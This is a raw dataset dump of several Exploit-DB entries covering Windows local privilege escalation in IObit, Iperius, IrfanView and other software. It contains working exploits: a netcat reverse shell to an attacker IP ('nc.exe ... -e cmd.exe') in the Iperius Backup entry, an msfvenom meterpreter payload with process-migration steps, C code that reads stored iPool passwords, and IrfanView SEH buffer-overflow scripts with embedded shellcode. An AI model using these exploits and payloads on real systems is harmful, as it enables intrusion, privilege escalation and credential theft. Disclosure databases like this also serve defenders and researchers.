deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49371
Description: IObit Uninstaller 10 Pro - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-01-06
Author: Mayur Parmar

Exploit:
# Exploit Title: IObit Uninstaller 10 Pro - Unquoted Service Path
# Date: 2020–12–24
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage: https://www.iobit.com
# Software Link: https://www.iobit.com/en/advanceduninstaller.php
# Version: 10
# Tested on Windows 10

Unquoted Service Path:
When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).
In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.

Attack Vector:
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Steps to reproduce:

C:\Windows\system32>sc qc IObitUnSvr
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IObitUnSvr
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IObit Uninstaller Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Mitigation:Ensure that any services that contain a space in the path enclose the path in quotes.

Reference:
-> https://www.rapid7.com/db/modules/exploit/windows/local/unquoted_service_path/
-> https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae
-> https://www.hackingarticles.in/windows-privilege-escalation-unquoted-path-service/
-> https://sec-consult.com/blog/detail/windows-privilege-escalation-an-approach-for-penetration-testers/
Exploit-DB #47538
Description: IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-23
Author: Sainadh Jamalpur

Exploit:
# Title: IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path
# Author: Sainadh Jamalpur
# Date: 2019-10-22
# Vendor Homepage: https://www.iobit.com
# Software Link: https://www.iobit.com/en/advanceduninstaller.php
# Version : 9.1.0.8
# Tested on: Windows 10 64bit(EN)
# CVE : N/A

# 1. Description:
# Unquoted service paths in IObit Uninstaller v9.1.0.8 have an unquoted service path.

# PoC
===========
C:\>sc qc IObitUnSvr
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IObitUnSvr
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IObit Uninstaller Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>

#Exploit:
============
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Exploit-DB #48543
Description: IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-06-04
Author: Gobinathan

Exploit:
# Title: IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path
# Author: Gobinathan L
# Date: 2020-06-03
# Vendor Homepage: https://www.iobit.com
# Software Link: https://www.iobit.com/en/advanceduninstaller.php
# Version : 9.5.0.15
# Tested on: Windows 10 64bit(EN)

About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't enclosed within quotes, 
leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. 
(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

Steps to recreate :
=============================

1.  Open CMD and Check for USP vulnerability by typing 	[ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
2.  The Vulnerable Service would Show up.
3.  Check the Service Permissions by typing 				[ sc qc IObitUnSvr ]
4.  The command would return.. 

	C:\>sc qc IObitUnSvr
	[SC] QueryServiceConfig SUCCESS
	SERVICE_NAME: IObitUnSvr
			TYPE               : 10  WIN32_OWN_PROCESS
			START_TYPE         : 2   AUTO_START
			ERROR_CONTROL      : 0   IGNORE
			BINARY_PATH_NAME   : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
			LOAD_ORDER_GROUP   :
			TAG                : 0
			DISPLAY_NAME       : IObit Uninstaller Service
			DEPENDENCIES       :
			SERVICE_START_NAME : LocalSystem

5.  This concludes that the service is running as SYSTEM. "Highest privilege in a machine"
6.  Now create a Payload with msfvenom or other tools and name it to IObit.exe
7.  Make sure you have write Permissions to "C:\Program Files (x86)\IObit" directory.
8.  Provided that you have right permissions, Drop the IObit.exe executable you created into the "C:\Program Files (x86)\IObit" Directory.
9.  Now restart the IObit Uninstaller service by giving coommand [ sc stop IObitUnSvr ] followed by [ sc start IObitUnSvr ]
10. If your payload is created with msfvenom, quickly migrate to a different process. [Any process since you have the SYSTEM Privilege].

During my testing :

Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o IObit.exe
Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a different Process	]

# Disclaimer :
=========================
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
Exploit-DB #51029
Description: IOTransfer V4 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-11-11
Author: BLAY ABU SAFIAN

Exploit:
# Exploit Title: IOTransfer V4 - Unquoted Service Path
# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)
# Discovery Date: 2022-28-07
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: https://iotransfer.itopvpn.com/download/
# Tested Version: V4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows Server 2019 Standard Evaluation CVE-2022-37197
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

IOTransfer Updater IOTUpdaterSvc C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
                      Auto

C:\>sc qc IOTUpdaterSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IOTUpdaterSvc
        TYPE : 10 WIN32_OWN_PROCESS
        START_TYPE : 2 AUTO_START
        ERROR_CONTROL : 1 NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe


LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : IOTransfer Updater
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
Exploit-DB #48968
Description: IP Watcher v3.0.0.30 - 'PACService.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-10-28
Author: Mohammed Alshehri

Exploit:
# Exploit Title: IP Watcher v3.0.0.30 - 'PACService.exe' Unquoted Service Path
# Date: 2020-8-25
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://www.gearboxcomputers.com/
# Software Link: https://www.gearboxcomputers.com/files/IPWatcherSetup.exe
# Version: 3.0.0.30
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763

# Service info:

C:\Users\m507>sc qc IPWatcherSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IPWatcherSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\IP Watcher\IPWatcherService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IPWatcherService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>

# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #46863
Description: Iperius Backup 6.1.0 - Privilege Escalation
Type: local
Platform: windows
Date: 2019-05-17
Author: bzyo

Exploit:
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: Iperius Backup 6.1.0 - Privilege Escalation
Date: 04-24-19
Vulnerable Software: Iperius Backup 6.1.0
Vendor Homepage: https://www.iperiusbackup.com/
Version: 6.1.0
Software Link: https://www.iperiusbackup.com/download.aspx
Tested on: Windows 10 x64

Details:
Iperius Backup Service must run as Local System or a system administrator. By default the application allows for low privilege users to create/run backup jobs and edit existing jobs due to file permissions.  An option when creating a backup job is to run a program before or after the backup job.  The backup job is run as the user of the running service, as such the program requested to run before or after a backup job is run as that same user.  A low privilege user could abuse this and escalate their privileges to either local system or an administrator account.

Vendor Post - Installation as Windows service: what it is and why it’s important
https://www.iperiusbackup.net/en/installation-windows-service-iperius-backup/

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access 
to a system running Iperius Backup and Iperius Backup Service using a
low privileged user account

Exploit:
1. Login as low privilege user where Iperius Backup and Iperius Backup Service are installed

2. Download netcat  from attacking machine
	 c:\users\low\downloads\nc.exe
	 
3. Create batch file calling netcat and sending command prompt to attacking machine
	c:\users\low\desktop\evil.bat
		@echo off
		c:\users\low\downloads\nc.exe 192.168.0.163 443 -e cmd.exe

4. Setup listener on attacking machine
	nc -nlvvp 443

5. Open Iperius Backup and create new backup job
	- set any folder to backup (c:\temp)
	- set to any destination (c:\users\low\desktop)
	- set program to run before backup job (c:\users\low\desktop\evil.bat)

6. Right-click on newly created job and select "Run backup service as"
	- will either be local system or administrator account

7. Command prompt on attacking machine will appear
	C:\Program Files (x86)\Iperius Backup>whoami
	whoami
	<computer name>\<administrator>

	Or
	
	C:\Program Files (x86)\Iperius Backup>whoami
	whoami
	nt authority\system

Risk:
The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System or Administrator

Notes:
Able to open elevated command prompt locally if service is running as local system, but not when using an administrator account.  Also able to backup entire administrator user profile as low privilege account.

Fix:
Remove Everyone permission to folder c:\ProgramData\IperiusBackup
Exploit-DB #40427
Description: Iperius Remote 1.7.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-26
Author: Tulpa

Exploit:
# Exploit Title: Iperius Remote 1.7.0 Unquoted Service Path Elevation of Privilege
# Date: 26/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://www.iperiusremote.com
# Software Link: https://www.iperiusremote.com/download.aspx
# Version: Software Version 1.7.0
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

Iperius Remote allows the user to install the application as a service with an unquoted service path running with SYSTEM privileges. It is important to note that the application installs itself as a service in the same location where the setup file in ran from. Provided that the end user initiates the installation from a directory with spaces in it's path, this could allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc IperiusRemotesvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IperiusRemotesvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Random Folder With Spaces\IperiusRemote.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IperiusRemote Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #885
Description: iPool 1.6.81 - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-03-16
Author: Kozan

Exploit:
/*****************************************************************

iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan

Application: iPool 1.6.81

Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com

Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
              (LPBYTE) prgfiles, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("An error occured. Can't get password!\n");
                                return -1;
                       }

                       RegCloseKey(hKey);

   }
       else
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       printf("\n\niPool 1.6.81 Local Password Disclosure Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("kozan@netmagister.com\n");
       printf("www.netmagister.com - www.spyinstructors.com\n\n");

       char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];
       strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));

       int addr, i, y;
       FILE *fp;
       char ch[100], ch2[100];

       if((fp=fopen(pwdfile,"rb")) == NULL)
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       fseek(fp,0,0);

       for(i=0;i<30;i++)
       {
               ch[i]=getc(fp);
               if(ch[i]==0x0D)
               {
                       ch[i]=NULL;
                       strcpy(username,ch);
                       break;
               }
       }

       addr = ftell(fp);
       fseek(fp,addr+1,0);

       for(y=0;y<30;y++)
       {
               ch2[y]=getc(fp);
               if(ch2[y]==0x0D)
               {
                       ch2[y]=NULL;
                       strcpy(password,ch2);
                       break;
               }
       }

       fclose(fp);

       printf("Username        : %s\n",username);
       printf("Password        : %s\n",password);

       return 0;
}

// milw0rm.com [2005-03-16]
Exploit-DB #19167
Description: Ipswitch IMail 5.0 / Ipswitch WS_FTP Server 1.0.1/1.0.2 - Local Privilege Escalation
Type: local
Platform: windows
Date: 1999-02-04
Author: Marc

Exploit:
source: https://www.securityfocus.com/bid/218/info

Non-administrative Imail and WS_FTP Server users may elevate their privileges to administrator for these applications by modifying a specific registry value. Once a person has obtained administrative privileges, they may use the application interface (locally) to read email, create accounts, delete accounts, etc. 

Access the following registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\Machine_name\Users\Username"
Modify the Flag value to read "1920". 1920 gives the user account administrator permissions to IMail and WS_FTP Server.
Exploit-DB #49006
Description: IPTInstaller 4.0.9 - 'PassThru Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: SamAlucard

Exploit:
#Exploit Title: IPTInstaller 4.0.9 - 'PassThru Service' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-11-08
#Vendor : HTC
#Version : IPTInstaller 4.0.9
#Vendor Homepage :  https://www.htc.com/latam/
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\Users\DSAZ230>sc qc "PassThru Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: PassThru Service
        TIPO               : 10
[image: PassThruserv.jpg]
 WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\HTC\Internet
Pass-Through\PassThruSvr.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Internet Pass-Through Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #44217
Description: IrfanView 4.44 Email Plugin - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-03-02
Author: bzyo

Exploit:
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: IrfanView 4.44 Email PlugIn - Local Buffer Overflow (SEH)
# Date: 02-07-2018
# Vulnerable Software: IrfanView 4.44 Email PlugIn
# Vendor Homepage: http://www.irfanview.com/
# Version: 4.44
# Software Link: http://www.irfanview.info/files/irfanview_444.exe
# Software Link: http://www.irfanview.info/files/irfanview_plugins_444.zip
# Tested On: Windows XP SP3 x86 and Windows 7 SP1 x86
#
# PoC
# 1. generate irfan.txt, copy contents to clipboard
# 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg)
# 3. select Options, Send by Email, Settings
# 4. paste contents from clipboard into Full Name and select OK
# 5. application crashes
# 6. pop calc
#   

filename="irfan.txt"

junk = "\x41"*1236

#jump 6
nseh = "\xeb\x06\x90\x90"

#0x10021420 : pop ebp # pop ebx # ret
seh = "\x20\x14\x02\x10"

#msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f c
#Payload size: 220 bytes
calc = (
"\xda\xdf\xba\x32\x98\xc1\x8e\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x31\x83\xe8\xfc\x31\x50\x14\x03\x50\x26\x7a\x34\x72\xae\xf8"
"\xb7\x8b\x2e\x9d\x3e\x6e\x1f\x9d\x25\xfa\x0f\x2d\x2d\xae\xa3"
"\xc6\x63\x5b\x30\xaa\xab\x6c\xf1\x01\x8a\x43\x02\x39\xee\xc2"
"\x80\x40\x23\x25\xb9\x8a\x36\x24\xfe\xf7\xbb\x74\x57\x73\x69"
"\x69\xdc\xc9\xb2\x02\xae\xdc\xb2\xf7\x66\xde\x93\xa9\xfd\xb9"
"\x33\x4b\xd2\xb1\x7d\x53\x37\xff\x34\xe8\x83\x8b\xc6\x38\xda"
"\x74\x64\x05\xd3\x86\x74\x41\xd3\x78\x03\xbb\x20\x04\x14\x78"
"\x5b\xd2\x91\x9b\xfb\x91\x02\x40\xfa\x76\xd4\x03\xf0\x33\x92"
"\x4c\x14\xc5\x77\xe7\x20\x4e\x76\x28\xa1\x14\x5d\xec\xea\xcf"
"\xfc\xb5\x56\xa1\x01\xa5\x39\x1e\xa4\xad\xd7\x4b\xd5\xef\xbd"
"\x8a\x6b\x8a\xf3\x8d\x73\x95\xa3\xe5\x42\x1e\x2c\x71\x5b\xf5"
"\x09\x8d\x11\x54\x3b\x06\xfc\x0c\x7e\x4b\xff\xfa\xbc\x72\x7c"
"\x0f\x3c\x81\x9c\x7a\x39\xcd\x1a\x96\x33\x5e\xcf\x98\xe0\x5f"
"\xda\xfa\x67\xcc\x86\xd2\x02\x74\x2c\x2b")

fill = "\x44"*1000

buffer = junk + nseh + seh + calc + fill
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #44218
Description: IrfanView 4.50 Email Plugin - Buffer Overflow (SEH Unicode)
Type: local
Platform: windows
Date: 2018-03-02
Author: bzyo

Exploit:
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: IrfanView 4.50 Email PlugIn - Local Buffer Overflow (SEH Unicode)
# Date: 02-07-2018
# Vulnerable Software: IrfanView 4.50 Email PlugIn
# Vendor Homepage: http://www.irfanview.com/
# Version: 4.50
# Software Link: http://www.irfanview.info/files/irfanview_450.exe
# Software Link: http://www.irfanview.info/files/irfanview_plugins_450.zip
# Tested Windows 7 SP1 x86
#
# More reliable result if .NET and updates installed prior to application being installed
# 
#
# PoC
# 1. generate irfan.txt, copy contents to clipboard
# 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg)
# 3. select Options, Send by Email, Settings
# 4. paste contents from clipboard into Full Name and select OK
# 5. application crashes
# 6. pop calc
#   ****if calc doesn't pop on first try, repeat steps 2-4 until it does :/
#

filename="irfan.txt"

#junk to offset
junk = "\x41"*262

#popad
nseh = "\x61\x62"

#0x00500102 pop esi pop ebx  ret  
#unicode possible ansi transform(s) : 0050008A->00500106,ascii {PAGE_EXECUTE_READ} [i_view32.exe] 
seh = "\x8a\x50"

valign = (
"\x55" 			#push ebp
"\x47" 			#align
"\x58" 			#pop eax
"\x47" 			#align
"\x05\x14\x11" 	#add eax,400
"\x47"			#align
"\x2d\x13\x11"	#sub eax,300
"\x47"			#align
"\x50"			#push eax
"\x47"			#align
"\xc3"			#retn
)

#nops to shellcode
nops = "\x71" * 109

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHE2KPKPM0C0U9IU01I02D4K0P004"
"K0RLLTK0RLT4KT2NHLOH7OZO601KOVLOLQQSLLBNLMPWQHOLMM197K2KBQB0WTK0RN0DKPJOLDK0LLQR"
"XIS18M1J121TK1IMPKQYC4KPILXJCOJQ9TKOD4KKQ8VP1KOFL91XOLMM1WWP8IPD5ZVLCCMKHOKSMO42"
"UK428DKPXNDM1ICBFTKLLPKDKB8MLM19CDKLD4KKQHP3YQ4O4MTQKQK1Q291JPQKOIP1OQOPZ4KLRJK4M"
"1MRJM14MU5WBM0M0M0R0QX014K2OTGKO9EGKL06UFBB6C85VF5GM5MKOJ5OLKVSLKZE0KKIPBUM57KQ7M"
"CSB2ORJM0PSKOIEBCC1BL1SNN2E2XC5M0AA"
)

#necessary fill
fill = "\x71"*1000

buffer = junk + nseh + seh + valign + nops + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()